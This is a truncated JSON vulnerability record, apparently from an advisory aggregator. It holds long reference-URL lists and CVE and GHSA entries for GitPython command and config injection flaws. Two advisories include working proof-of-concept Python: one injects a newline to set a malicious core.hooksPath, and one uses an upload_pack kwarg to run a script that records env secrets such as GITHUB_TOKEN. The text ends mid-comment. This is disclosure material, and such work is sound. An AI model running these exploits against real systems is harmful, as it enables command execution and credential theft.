2515243","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-73624","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73624","tags":["advisory"]},{"url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-fjr4-x663-mwxc","tags":["article"]},{"url":"https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-overwrite-via-diff","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-73625","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2515272","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-73625","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73625","tags":["advisory"]},{"url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-r9mr-m37c-5fr3","tags":["article"]},{"url":"https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-kwarg-value-smuggling","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-76218","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2519603","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-76218","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76218","tags":["advisory"]},{"url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-9rj7-rf2p-w77r","tags":["article"]},{"url":"https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-repo-init","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-76219","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2519597","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-76219","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76219","tags":["advisory"]},{"url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-4gmw-gg2m-w46p","tags":["article"]},{"url":"https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-overwrite-via-read-tree","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-76220","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2519610","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-76220","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76220","tags":["advisory"]},{"url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-wvpp-8hx9-p66j","tags":["article"]},{"url":"https://www.vulncheck.com/advisories/gitpython-before-command-execution-via-split-single-char-options","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-76221","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2519596","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-76221","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76221","tags":["advisory"]},{"url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-jm78-9fvv-mhgr","tags":["article"]},{"url":"https://www.vulncheck.com/advisories/gitpython-before-config-injection-via-option-name","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-76222","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2519609","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-76222","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76222","tags":["advisory"]},{"url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-hmq2-w58f-27jc","tags":["article"]},{"url":"https://www.vulncheck.com/advisories/gitpython-before-path-traversal-via-gitmodules-submodule-name","tags":["article"]},{"url":"https://access.redhat.com/errata/RHSA-2026:74504","tags":["advisory"]},{"url":"https://access.redhat.com/security/updates/classification/#critical","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2449774","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2484204","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2488952","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2488956","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2489969","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2489970","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2489971","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2489992","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2489993","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2490542","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2490543","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2515815","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2515820","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2515827","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2515838","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2515839","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2517518","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2517523","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2517527","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2523205","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2523348","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2530744","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2534185","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2536844","tags":["report"]},{"url":"https://issues.redhat.com/browse/SAT-50952","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-50953","tags":["article"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_74504.json","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-12405","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-12405","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12405","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-12423","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-12423","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12423","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-12540","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-12540","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12540","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-12541","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-12541","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12541","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-12542","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-12542","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12542","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-12544","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-12544","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12544","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-12545","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-12545","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12545","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-33154","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-33154","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33154","tags":["advisory"]},{"url":"https://github.com/dynaconf/dynaconf/commit/2fbb45ee36b8c0caa5b924fe19f3c1a5e8603fa7","tags":["article"]},{"url":"https://github.com/dynaconf/dynaconf/releases/tag/3.2.13","tags":["article"]},{"url":"https://github.com/dynaconf/dynaconf/security/advisories/GHSA-pxrr-hq57-q35p","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-33818","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-33818","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33818","tags":["advisory"]},{"url":"https://go.dev/cl/814980","tags":["article"]},{"url":"https://go.dev/issue/80405","tags":["article"]},{"url":"https://groups.google.com/g/golang-announce/c/94pEornpRlI","tags":["article"]},{"url":"https://pkg.go.dev/vuln/GO-2026-5972","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-42504","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-42504","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42504","tags":["advisory"]},{"url":"https://go.dev/cl/774481","tags":["article"]},{"url":"https://go.dev/issue/79217","tags":["article"]},{"url":"https://pkg.go.dev/vuln/GO-2026-5038","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-54284","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-54284","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54284","tags":["advisory"]},{"url":"https://github.com/andialbrecht/sqlparse/commit/939b129e24c0ad5d51368b1aa72fffcaca76f06f","tags":["article"]},{"url":"https://github.com/andialbrecht/sqlparse/security/advisories/GHSA-pwgv-4x5q-6m9f","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-56097","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-56097","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-56097","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-56098","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-56098","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-56098","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-56853","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-56853","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-56853","tags":["advisory"]},{"url":"https://go.dev/cl/795540","tags":["article"]},{"url":"https://go.dev/issue/80205","tags":["article"]},{"url":"https://pkg.go.dev/vuln/GO-2026-6089","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-56858","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-56858","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-56858","tags":["advisory"]},{"url":"https://go.dev/cl/807100","tags":["article"]},{"url":"https://go.dev/issue/80435","tags":["article"]},{"url":"https://pkg.go.dev/vuln/GO-2026-6091","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-56860","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-56860","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-56860","tags":["advisory"]},{"url":"https://go.dev/cl/803681","tags":["article"]},{"url":"https://go.dev/issue/80494","tags":["article"]},{"url":"https://pkg.go.dev/vuln/GO-2026-6218","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-56862","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-56862","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-56862","tags":["advisory"]},{"url":"https://go.dev/cl/804261","tags":["article"]},{"url":"https://go.dev/issue/80528","tags":["article"]},{"url":"https://pkg.go.dev/vuln/GO-2026-6090","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-59893","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-59893","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59893","tags":["advisory"]},{"url":"https://github.com/andialbrecht/sqlparse/commit/d1d80602741f77ec78e5a04ce4719244cf32352e","tags":["article"]},{"url":"https://github.com/andialbrecht/sqlparse/security/advisories/GHSA-prg7-hcfm-mfcr","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-71491","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-71491","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-71491","tags":["advisory"]},{"url":"https://github.com/andialbrecht/sqlparse/commit/ef2012a5eeb491e604dea2b00d516904a3830c87","tags":["article"]},{"url":"https://github.com/andialbrecht/sqlparse/security/advisories/GHSA-f2ff-p2ww-7p4p","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-78679","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-78679","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-78679","tags":["advisory"]},{"url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3wxw-xv34-2frg","tags":["article"]},{"url":"https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-tagreference-create","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-79654","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-79654","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79654","tags":["advisory"]},{"url":"https://github.com/Katello/katello/pull/11847","tags":["article"]},{"url":"https://projects.theforeman.org/issues/39701","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-87817","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-87817","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87817","tags":["advisory"]},{"url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-239g-whfq-7xj9","tags":["article"]},{"url":"https://www.vulncheck.com/advisories/gitpython-before-3.1.60-remote-code-execution-via-git-directory-impersonation","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-96658","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-96658","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96658","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-96659","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-96659","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96659","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:74505","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2520368","tags":["report"]},{"url":"https://issues.redhat.com/browse/SAT-50544","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-50545","tags":["article"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_74505.json","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-49825","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-49825","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-49825","tags":["advisory"]},{"url":"https://github.com/fedora-python/lxml_html_clean/commit/322357ac61c6cf80fcbaba53b4e92e31f3ded9f2","tags":["article"]},{"url":"https://github.com/fedora-python/lxml_html_clean/releases/tag/0.4.5","tags":["article"]},{"url":"https://github.com/fedora-python/lxml_html_clean/security/advisories/GHSA-4jhm-jv67-739f","tags":["article"]},{"url":"https://github.com/lxml/lxml/commit/5927a6d5e851845140975d99b65461e255caaab0","tags":["article"]},{"url":"https://github.com/lxml/lxml/releases/tag/lxml-6.1.1","tags":["article"]},{"url":"https://access.redhat.com/errata/RHSA-2026:74506","tags":["advisory"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_74506.json","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202621813-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1264604","tags":["report"]},{"url":"https://bugzilla.suse.com/1264605","tags":["report"]},{"url":"https://bugzilla.suse.com/1264606","tags":["report"]},{"url":"https://bugzilla.suse.com/1264608","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42215","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42284","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44243","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44244","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20264072-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1273357","tags":["report"]},{"url":"https://bugzilla.suse.com/1273358","tags":["report"]},{"url":"https://bugzilla.suse.com/1273359","tags":["report"]},{"url":"https://bugzilla.suse.com/1273364","tags":["report"]},{"url":"https://bugzilla.suse.com/1273414","tags":["report"]},{"url":"https://bugzilla.suse.com/1273498","tags":["report"]},{"url":"https://bugzilla.suse.com/1275745","tags":["report"]},{"url":"https://bugzilla.suse.com/1275746","tags":["report"]},{"url":"https://bugzilla.suse.com/1275747","tags":["report"]},{"url":"https://bugzilla.suse.com/1275748","tags":["report"]},{"url":"https://bugzilla.suse.com/1275749","tags":["report"]},{"url":"https://bugzilla.suse.com/1275750","tags":["report"]},{"url":"https://bugzilla.suse.com/1275751","tags":["report"]},{"url":"https://bugzilla.suse.com/1275752","tags":["report"]},{"url":"https://bugzilla.suse.com/1275753","tags":["report"]},{"url":"https://bugzilla.suse.com/1275754","tags":["report"]},{"url":"https://bugzilla.suse.com/1275755","tags":["report"]},{"url":"https://bugzilla.suse.com/1275756","tags":["report"]},{"url":"https://bugzilla.suse.com/1275757","tags":["report"]},{"url":"https://bugzilla.suse.com/1276430","tags":["report"]},{"url":"https://bugzilla.suse.com/1276431","tags":["report"]},{"url":"https://bugzilla.suse.com/1276432","tags":["report"]},{"url":"https://bugzilla.suse.com/1276433","tags":["report"]},{"url":"https://bugzilla.suse.com/1276434","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67322","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67323","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67325","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67326","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-69097","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73619","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73620","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73621","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73622","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73623","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73624","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73625","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-76217","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-76218","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-76219","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-76220","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-76221","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-76222","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-78675","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-78676","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-78677","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-78678","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-78679","tags":["web"]},{"url":"https://ubuntu.com/security/CVE-2026-42215","tags":["report"]},{"url":"https://ubuntu.com/security/notices/USN-8303-1","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2023-41040","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2026-42284","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2026-44243","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2026-44244","tags":["report"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-42215","title":"GitPython: Command injection via Git options bypass","description":"GitPython is a python library used to interact with Git repositories. From version 3.1.30 to before version 3.1.47, GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False. This issue has been patched in version 3.1.47.","status":"published","published":"2026-05-07T18:17:03.194Z","modified":"2026-05-09T03:56:00.861Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T13:40:35.004553Z"}],"euvd":[{"id":"EUVD-2026-28411","description":"GitPython is a python library used to interact with Git repositories. From version 3.1.30 to before version 3.1.47, GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False. This issue has been patched in version 3.1.47.","status":"published","published":"2026-05-07T18:17:03Z","modified":"2026-05-09T03:56:00Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T19:05:14.089367Z"}],"ghsa":[{"id":"GHSA-mv93-w799-cj2w","title":"GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath","description":"Summary\n\nThe patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \\n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.\n\nDetails\n\nFile: git/config.py — GitPython 3.1.49 (latest patched version)\n\n```python\n  def set_value(self, section: str, option: str, value) -\u003e \"GitConfigParser\":\n      value_str = self._value_to_string_safe(value)   # only value is validated\n      if not self.has_section(section):\n          self.add_section(section)                    # section not validated\n      super().set(section, option, value_str)          # option not validated\n      return self\n```\n\n_write() formats section headers as \"[%s]\\n\" % name. When section = \"user]\\n[core\", this writes [user]\\n[core]\\n — two valid section headers — into .git/config.\n\nPoC\n\n```python\n  import git, os, subprocess\n\n  repo = git.Repo.init(\"/tmp/bypass_test\")\n\n  os.makedirs(\"/tmp/evil_hooks\", exist_ok=True)\n  with open(\"/tmp/evil_hooks/pre-commit\", \"w\") as f:\n      f.write(\"#!/bin/sh\\nid \u003e /tmp/rce_proof.txt\\n\")\n  os.chmod(\"/tmp/evil_hooks/pre-commit\", 0o755)\n\n  # Inject newline into section parameter (not value — already patched)\n  with repo.config_writer() as cw:\n      cw.set_value(\"user]\\n[core\", \"hooksPath\", \"/tmp/evil_hooks\")\n\n  r = subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"config\", \"core.hooksPath\"],\n                     capture_output=True, text=True)\n  print(r.stdout.strip())  # → /tmp/evil_hooks\n\n  subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"commit\", \"--allow-empty\", \"-m\", \"x\"])\n  print(open(\"/tmp/rce_proof.txt\").read())  # → uid=1000(...) RCE confirmed\n```\n\nImpact\n\nSame attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.","status":"published","published":"2026-05-08T23:19:02Z","modified":"2026-05-08T23:19:59Z","cvss":[{"version":"3.1","score":7,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-20"],"updated_at":"2026-11-02T14:40:05.816188Z"},{"id":"GHSA-rpm5-65cw-6hj4","title":"GitPython has Command Injection via Git options bypass","description":"### Summary\nGitPython blocks dangerous Git options such as `--upload-pack` and `--receive-pack` by default, but the equivalent Python kwargs `upload_pack` and `receive_pack` bypass that check. If an application passes attacker-controlled kwargs into `Repo.clone_from()`, `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`, this leads to arbitrary command execution even when `allow_unsafe_options` is left at its default value of `False`.\n\n### Details\nGitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:\n\n- `git/repo/base.py:145-153` marks clone options such as `--upload-pack`, `-u`, `--config`, and `-c` as unsafe.\n- `git/remote.py:535-548` marks fetch/pull/push options such as `--upload-pack`, `--receive-pack`, and `--exec` as unsafe.\n\nThe vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags:\n\n- `Repo.clone_from()` checks `list(kwargs.keys())` in `git/repo/base.py:1387-1390`\n- `Remote.fetch()` checks `list(kwargs.keys())` in `git/remote.py:1070-1071`\n- `Remote.pull()` checks `list(kwargs.keys())` in `git/remote.py:1124-1125`\n- `Remote.push()` checks `list(kwargs.keys())` in `git/remote.py:1197-1198`\n\nThat validation is performed by `Git.check_unsafe_options()` in `git/cmd.py:948-961`. The validator correctly blocks option names such as `upload-pack`, `receive-pack`, and `exec`.\n\nLater, GitPython converts Python kwargs into Git command-line flags in `Git.transform_kwarg()` at `git/cmd.py:1471-1484`. During that step, underscore-form kwargs are dashified:\n\n- `upload_pack=...` becomes `--upload-pack=...`\n- `receive_pack=...` becomes `--receive-pack=...`\n\nBecause the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.\n\nIn practice:\n\n- `remote.fetch(**{\"upload-pack\": helper})` is blocked with `UnsafeOptionError`\n- `remote.fetch(upload_pack=helper)` is allowed and reaches helper execution\n\nThe same bypass works for:\n\n```python\nRepo.clone_from(origin, out, upload_pack=helper)\nrepo.remote(\"origin\").fetch(upload_pack=helper)\nrepo.remote(\"origin\").pull(upload_pack=helper)\nrepo.remote(\"origin\").push(receive_pack=helper)\n```\n\nThis does not appear to affect every unsafe option. For example, `exec=` is already rejected because the raw kwarg name `exec` matches the blocked option name before normalization.\n\nExisting tests cover the hyphenated form, not the vulnerable underscore form. For example:\n\n- `test/test_clone.py:129-136` checks `{\"upload-pack\": ...}`\n- `test/test_remote.py:830-833` checks `{\"upload-pack\": ...}`\n- `test/test_remote.py:968-975` checks `{\"receive-pack\": ...}`\n\nThose tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.\n\n### PoC\n1. Create and activate a virtual environment in the repository root:\n\n```bash\npython3 -m venv .venv-sec\n.venv-sec/bin/pip install setuptools gitdb\nsource ./.venv-sec/bin/activate\n```\n\n2. make a new python file and put the following in there, then run it:\n\n```python\nimport os\nimport stat\nimport subprocess\nimport tempfile\n\nfrom git import Repo\nfrom git.exc import UnsafeOptionError\n\n# Setup: create isolated repositories so the PoC uses a normal fetch flow.\nbase = tempfile.mkdtemp(prefix=\"gp-poc-risk-\")\norigin = os.path.join(base, \"origin.git\")\nproducer = os.path.join(base, \"producer\")\nvictim = os.path.join(base, \"victim\")\nproof = os.path.join(base, \"proof.txt\")\nwrapper = os.path.join(base, \"wrapper.sh\")\n\n# Setup: this wrapper is just to demo things you can do, not required for the exploit to work\n# you could also do something like an SSH reverse shell, really anything\nwith open(wrapper, \"w\") as f:\n    f.write(f\"\"\"#!/bin/sh\n{{\n  echo \"code_exec=1\"\n  echo \"whoami=$(id)\"\n  echo \"cwd=$(pwd)\"\n  echo \"uname=$(uname -a)\"\n  printf 'argv='; printf '\u003c%s\u003e' \"$@\"; echo\n  env | grep -E '^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)=' | sed 's/=.*$/=\u003credacted\u003e/' || true\n}} \u003e '{proof}'\nexec git-upload-pack \"$@\"\n\"\"\")\nos.chmod(wrapper, stat.S_IRWXU)\n\nsubprocess.run([\"git\", \"init\", \"--bare\", origin], check=True, stdout=subprocess.DEVNULL)\nsubprocess.run([\"git\", \"clone\", origin, producer], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\nwith open(os.path.join(producer, \"README\"), \"w\") as f:\n    f.write(\"x\")\n\nsubprocess.run([\"git\", \"-C\", producer, \"add\", \"README\"], check=True, stdout=subprocess.DEVNULL)\nsubprocess.run(\n    [\"git\", \"-C\", producer, \"-c\", \"user.name=t\", \"-c\", \"user.email=t@t\", \"commit\", \"-m\", \"init\"],\n    check=True,\n    stdout=subprocess.DEVNULL,\n)\nsubprocess.run([\"git\", \"-C\", producer, \"push\", \"origin\", \"HEAD\"], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\nsubprocess.run([\"git\", \"clone\", origin, victim], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\nrepo = Repo(victim)\nremote = repo.remote(\"origin\")\n\n# the literal Git option name is properly blocked.\ntry:\n    remote.fetch(**{\"upload-pack\": wrapper})\n    print(\"control=unexpected_success\")\nexcept UnsafeOptionError:\n    print(\"control=blocked\")\n\n# this is the actual vulnerability\n# you can also just do upload_pack=\"touch /tmp/proof\", the wrapper is just to show greater impact\n# if you do the \"touch /tmp/proof\" the 